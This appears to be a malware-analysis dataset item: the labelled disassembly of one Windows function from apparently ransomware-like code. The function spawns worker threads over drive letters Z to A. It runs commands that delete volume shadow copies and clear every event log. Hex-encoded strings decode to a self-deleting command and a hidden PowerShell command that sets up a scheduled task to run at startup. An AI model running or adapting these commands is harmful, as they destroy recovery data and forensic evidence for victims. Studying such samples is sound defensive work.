Function at 0x419018
Capabilities:
Clear windows event logs
Delete volume shadow copies
Execute command
Get system information on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x170], ecx
mov qword [rbp + 0x178], rdx
call fcn.00447950
mov ecx, 0
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
lea rax, [rbp - 0x20]
mov edx, 0x104
mov rcx, rax
call sub.msvcrt.dll__getcwd
mov ecx, 0x20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x120], rax
mov rdx, qword [rbp + 0x120]
mov rax, qword [rbp + 0x178]
mov r8, rdx
mov rdx, rax
mov ecx, dword [rbp + 0x170]
call fcn.00416556
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x1c]
test eax, eax
jne 0x419aed
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x30]
mov edx, eax
lea rax, [0x004863c8]
mov dword [rax], edx
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp eax, 8
jle 0x4190da
lea rax, [0x004863c8]
mov dword [rax], 8
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
imul rax, rax, 0x44f0
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004863e0]
mov qword [rax], rdx
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x00481e40]
mov qword [rax], rdx
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x118], rax
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x110], rax
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004863f8]
mov qword [rax], rdx
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004863f0]
mov qword [rax], rdx
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004863b8]
mov qword [rax], rdx
lea rax, [0x004863c8]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004863e8]
mov qword [rax], rdx
mov edx, 0
lea rax, [0x00481e08]
mov rcx, rax
call fcn.004432c0
mov dword [rbp + 0x13c], 0
jmp 0x419326
lea rax, [0x004863e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov edx, 0
mov rcx, rax
call fcn.004432c0
lea rax, [0x004863f8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 2
add rax, rdx
mov dword [rax], 0xffffffff
lea rax, [0x004863f0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
lea rbx, [rax + rdx]
mov ecx, 0x2000
call sub.msvcrt.dll_malloc
mov qword [rbx], rax
mov dword [rbp + 0x138], 0
jmp 0x4192d1
lea rax, [0x004863f0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x138]
movsxd rdx, edx
shl rdx, 3
lea rbx, [rax + rdx]
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbx], rax
add dword [rbp + 0x138], 1
cmp dword [rbp + 0x138], 0x3ff
jle 0x41928f
lea rax, [0x004863b8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 2
add rax, rdx
mov dword [rax], 0
mov eax, dword [rbp + 0x13c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x110]
add rdx, rax
mov eax, dword [rbp + 0x13c]
mov dword [rdx], eax
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x419214
mov rdx, qword [0x00475d50]
mov rax, qword [0x00475d60]
mov r8, rax
mov eax, 0x34
mov rdi, rdx
mov rsi, r8
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
lea rax, [0x00481e04]
mov rdx, rax
lea rax, [0x00481e60]
mov rcx, rax
call fcn.00418ed3
test eax, eax
jne 0x419826
mov dword [rbp + 0x13c], 0
jmp 0x4193d7
lea rax, [0x00481e40]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 2
add rdx, rax
lea rax, [0x004863e0]
mov rcx, qword [rax]
mov eax, dword [rbp + 0x13c]
cdqe
imul rax, rax, 0x44f0
add rax, rcx
mov rcx, rax
call fcn.00418ed3
test eax, eax
jne 0x419829
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x41938a
mov eax, dword [0x0044c288]
lea rdx, [0x00486360]
mov r8, rdx
mov edx, eax
lea rcx, [0x0044c060]
call fcn.004237a0
test eax, eax
jne 0x41982c
mov rcx, qword [0x00475d00]
call fcn.0041f780
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jne 0x41982f
lea rcx, [0x0046a34e]
call fcn.0041f4b0
mov edx, eax
lea rax, [0x00481e00]
mov dword [rax], edx
lea rax, [0x00481e00]
mov eax, dword [rax]
cmp eax, 0xffffffff
je 0x419832
mov rcx, qword [0x00475d20]
call fcn.0041fa50
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jne 0x419835
lea rax, [0x00481e00]
mov eax, dword [rax]
mov ecx, eax
call fcn.0041df70
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jne 0x419838
lea rcx, [0x0046a352]
call fcn.0041f600
mov edx, eax
lea rax, [0x00486350]
mov dword [rax], edx
lea rax, [0x00486350]
mov eax, dword [rax]
cmp eax, 0xffffffff
je 0x41983b
mov dword [rbp - 0x54], 0x20
lea rax, [rbp - 0x54]
mov rcx, rax
call fcn.0041b480
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jne 0x41983e
lea rax, [0x004863d8]
mov dword [rax], 1
jmp 0x419812
lea rax, [0x00481e20]
mov dword [rax], 0
lea rax, [0x00481e20]
mov dword [rax + 4], 0
lea rax, [0x00481e20]
mov dword [rax + 8], 0
lea rax, [0x00481e20]
mov dword [rax + 0xc], 0
lea rax, [0x00481e20]
mov dword [rax + 0x10], 0
lea rax, [0x00481e20]
mov dword [rax + 0x14], 0
lea rax, [0x00481e10]
mov dword [rax], 0
lea rax, [0x00481e38]
mov dword [rax], 1
mov dword [rbp + 0x13c], 0
jmp 0x4195eb
mov eax, dword [rbp + 0x13c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x110]
add rdx, rax
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x18]
mov dword [rdx + 4], eax
mov eax, dword [rbp + 0x13c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x110]
add rdx, rax
mov eax, dword [rbp + 0x13c]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x118]
add rax, rcx
mov r9, rdx
lea r8, [0x00417ab5]
mov edx, 0
mov rcx, rax
call fcn.00445240
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x419572
mov dword [rbp + 0x13c], 0
jmp 0x419635
mov eax, dword [rbp + 0x13c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x118]
add rax, rdx
mov rcx, rax
call fcn.00445710
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x41960c
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 8]
movzx eax, byte [rax]
test al, al
jne 0x4196ce
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x100], rax
mov dword [rbp + 0x134], 0x5a
jmp 0x4196b4
mov edx, dword [rbp + 0x134]
mov rax, qword [rbp + 0x100]
mov r8d, edx
lea rdx, str._c:_
mov rcx, rax
call sub.msvcrt.dll_sprintf
mov rax, qword [rbp + 0x120]
mov edx, dword [rax + 0x18]
mov rax, qword [rbp + 0x100]
mov rcx, rax
call fcn.00417671
sub dword [rbp + 0x134], 1
cmp dword [rbp + 0x134], 0x40
jg 0x419675
mov rax, qword [rbp + 0x100]
mov rcx, rax
call fcn.0044ae60
jmp 0x4196eb
mov rax, qword [rbp + 0x120]
mov edx, dword [rax + 0x18]
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 8]
mov rcx, rax
call fcn.00417671
lea rax, [0x004863c8]
mov edx, dword [rax]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 8
mov dword [rbp + 0xfc], eax
jmp 0x419714
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x00481e10]
mov eax, dword [rax]
cmp dword [rbp + 0xfc], eax
jg 0x419706
mov dword [rbp + 0x130], 0
jmp 0x4197e3
mov dword [rbp + 0x130], 1
mov dword [rbp + 0x13c], 0
jmp 0x4197c0
lea rax, [0x004863e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rcx, rax
call fcn.00442ea0
lea rax, [0x004863f8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
cmp eax, 0xffffffff
je 0x419797
mov dword [rbp + 0x130], 0
lea rax, [0x004863e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rcx, rax
call fcn.00443170
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x41974a
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x130], 0
je 0x419734
lea rax, [0x00481e38]
mov dword [rax], 0
lea rax, [0x004863d8]
mov eax, dword [rax]
lea edx, [rax + 1]
lea rax, [0x004863d8]
mov dword [rax], edx
lea rax, [0x004863d8]
mov eax, dword [rax]
cmp eax, 1
jle 0x4194f9
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
jmp 0x41983f
nop
lea rax, [0x004863e0]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
lea rax, [0x00481e40]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
mov dword [rbp + 0x13c], 0
jmp 0x419898
lea rax, [0x004863e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rcx, rax
call fcn.00443310
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x41986f
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.0044ae60
mov rax, qword [rbp + 0x110]
mov rcx, rax
call fcn.0044ae60
lea rax, [0x004863f8]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
mov dword [rbp + 0x13c], 0
jmp 0x41996b
mov dword [rbp + 0x138], 0
jmp 0x419933
lea rax, [0x004863f0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x138]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
add dword [rbp + 0x138], 1
cmp dword [rbp + 0x138], 0x3ff
jle 0x4198f4
lea rax, [0x004863f0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x13c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
add dword [rbp + 0x13c], 1
lea rax, [0x004863c8]
mov eax, dword [rax]
cmp dword [rbp + 0x13c], eax
jl 0x4198e8
lea rax, [0x004863f0]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
lea rax, [0x004863b8]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
lea rax, [0x004863e8]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
lea rax, [0x00481e08]
mov rcx, rax
call fcn.00443310
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x10]
cmp eax, 1
jne 0x419af0
mov ecx, 0x7ff
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
movabs rsi, 0x206578652e646d63
movabs rdi, 0x747261747320632f
mov qword [rax], rsi
mov qword [rax + 8], rdi
movabs rbx, 0x323120676e697020
movabs rsi, 0x20312e302e302e37
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
movabs rbx, 0x6e203e2032206e2d
movabs rsi, 0x6564202626206c75
mov qword [rax + 0x20], rbx
mov qword [rax + 0x28], rsi
movabs rdi, 0x20712f20662f206c
mov qword [rax + 0x30], rdi
mov word [rax + 0x38], 0x22
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x128]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x128]
add rax, rdx
mov word [rax], 0x5c
mov rax, qword [rbp + 0x120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x128]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x128]
add rax, rdx
mov word [rax], 0x22
jmp 0x419af1
nop
jmp 0x419af1
nop
mov ecx, 0x7ff
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x1c]
cmp eax, 1
jne 0x419f11
mov rax, qword [rbp + 0xf0]
movabs rbx, 0x206578652e646d63
movabs rsi, 0x747261747320632f
mov qword [rax], rbx
mov qword [rax + 8], rsi
movabs rbx, 0x68737265776f7020
movabs rsi, 0x206578652e6c6c65
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
movabs rbx, 0x53776f646e69572d
movabs rsi, 0x64694820656c7974
mov qword [rax + 0x20], rbx
mov qword [rax + 0x28], rsi
movabs rbx, 0x6d6f432d206e6564
movabs rsi, 0x6c532220646e616d
mov qword [rax + 0x30], rbx
mov qword [rax + 0x38], rsi
movabs rbx, 0x6c694d2d20706565
movabs rsi, 0x646e6f636573696c
mov qword [rax + 0x40], rbx
mov qword [rax + 0x48], rsi
movabs rbx, 0x203b303030312073
movabs rsi, 0x736b736174686373
mov qword [rax + 0x50], rbx
mov qword [rax + 0x58], rsi
movabs rbx, 0x742f20646e652f20
movabs rsi, 0x203b64736852206e
mov qword [rax + 0x60], rbx
mov qword [rax + 0x68], rsi
movabs rbx, 0x736b736174686373
movabs rsi, 0x6574656c65642f20
mov qword [rax + 0x70], rbx
mov qword [rax + 0x78], rsi
movabs rbx, 0x736852206e742f20
movabs rsi, 0x6373203b662f2064
mov qword [rax + 0x80], rbx
mov qword [rax + 0x88], rsi
movabs rbx, 0x2f20736b73617468
movabs rsi, 0x2f20657461657263
mov qword [rax + 0x90], rbx
mov qword [rax + 0x98], rsi
movabs rbx, 0x4154534e4f206373
movabs rsi, 0x52206e742f205452
mov qword [rax + 0xa0], rbx
mov qword [rax + 0xa8], rsi
movabs rdi, 0x2072742f20647368
mov qword [rax + 0xb0], rdi
mov dword [rax + 0xb8], 0x27225c
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov word [rax], 0x5c
mov rax, qword [rbp + 0x120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov word [rax], 0x27
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 8]
movzx eax, byte [rax]
test al, al
je 0x419daf
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov dword [rax], 0x20642d20
mov word [rax + 4], 0x27
mov rax, qword [rbp + 0x120]
mov rdx, qword [rax + 8]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov word [rax], 0x27
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x10]
cmp eax, 1
jne 0x419df7
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov dword [rax], 0x72732d20
mov byte [rax + 4], 0
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x14]
test eax, eax
jne 0x419e44
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov dword [rax], 0x6f6e2d20
mov word [rax + 4], 0x6762
mov byte [rax + 6], 0
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x18]
cmp eax, 1
jne 0x419e8e
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov dword [rax], 0x646d2d20
mov word [rax + 4], 0x35
mov rax, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xf0]
add rax, rdx
movabs rbx, 0x732075722f20225c
movabs rsi, 0x73203b6d65747379
mov qword [rax], rbx
mov qword [rax + 8], rsi
movabs rbx, 0x20736b7361746863
movabs rsi, 0x6e742f206e75722f
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
movabs rdi, 0x692f206473685220
mov qword [rax + 0x20], rdi
mov word [rax + 0x28], 0x223b
mov byte [rax + 0x2a], 0
jmp 0x419fec
mov rax, qword [rbp + 0xf0]
movabs rbx, 0x206578652e646d63
movabs rsi, 0x747261747320632f
mov qword [rax], rbx
mov qword [rax + 8], rsi
movabs rbx, 0x68737265776f7020
movabs rsi, 0x206578652e6c6c65
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
movabs rbx, 0x53776f646e69572d
movabs rsi, 0x64694820656c7974
mov qword [rax + 0x20], rbx
mov qword [rax + 0x28], rsi
movabs rbx, 0x6d6f432d206e6564
movabs rsi, 0x6c532220646e616d
mov qword [rax + 0x30], rbx
mov qword [rax + 0x38], rsi
movabs rbx, 0x6c694d2d20706565
movabs rsi, 0x646e6f636573696c
mov qword [rax + 0x40], rbx
mov qword [rax + 0x48], rsi
movabs rbx, 0x203b303030312073
movabs rsi, 0x736b736174686373
mov qword [rax + 0x50], rbx
mov qword [rax + 0x58], rsi
movabs rbx, 0x6574656c65642f20
movabs rsi, 0x736852206e742f20
mov qword [rax + 0x60], rbx
mov qword [rax + 0x68], rsi
mov dword [rax + 0x70], 0x662f2064
mov word [rax + 0x74], 0x223b
mov byte [rax + 0x76], 0
mov rax, qword [rbp + 0x120]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044ae60
mov rax, qword [rbp + 0x120]
mov rax, qword [rax + 8]
mov rcx, rax
call fcn.0044ae60
mov rax, qword [rbp + 0x120]
mov rcx, rax
call fcn.0044ae60
lea rcx, str.cmd.exe__c_vssadmin.exe_Delete_Shadows__All__Quiet
call sub.msvcrt.dll_system
lea rcx, str.cmd.exe__c_for__F__tokens___1_in__wevtutil.exe_el__DO_wevtutil.exe_cl___1_
call sub.msvcrt.dll_system
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x14]
cmp eax, 1
jne 0x41a04c
call fcn.00418798
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_system
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call fcn.0044ae60
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x10]
cmp eax, 1
jne 0x41a0a5
mov rax, qword [rbp + 0x120]
mov eax, dword [rax + 0x1c]
test eax, eax
jne 0x41a096
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.msvcrt.dll_system
mov rax, qword [rbp + 0x128]
mov rcx, rax
call fcn.0044ae60
mov eax, 0
add rsp, 0x1c8
pop rbx
pop rsi
pop rdi
pop rbp
ret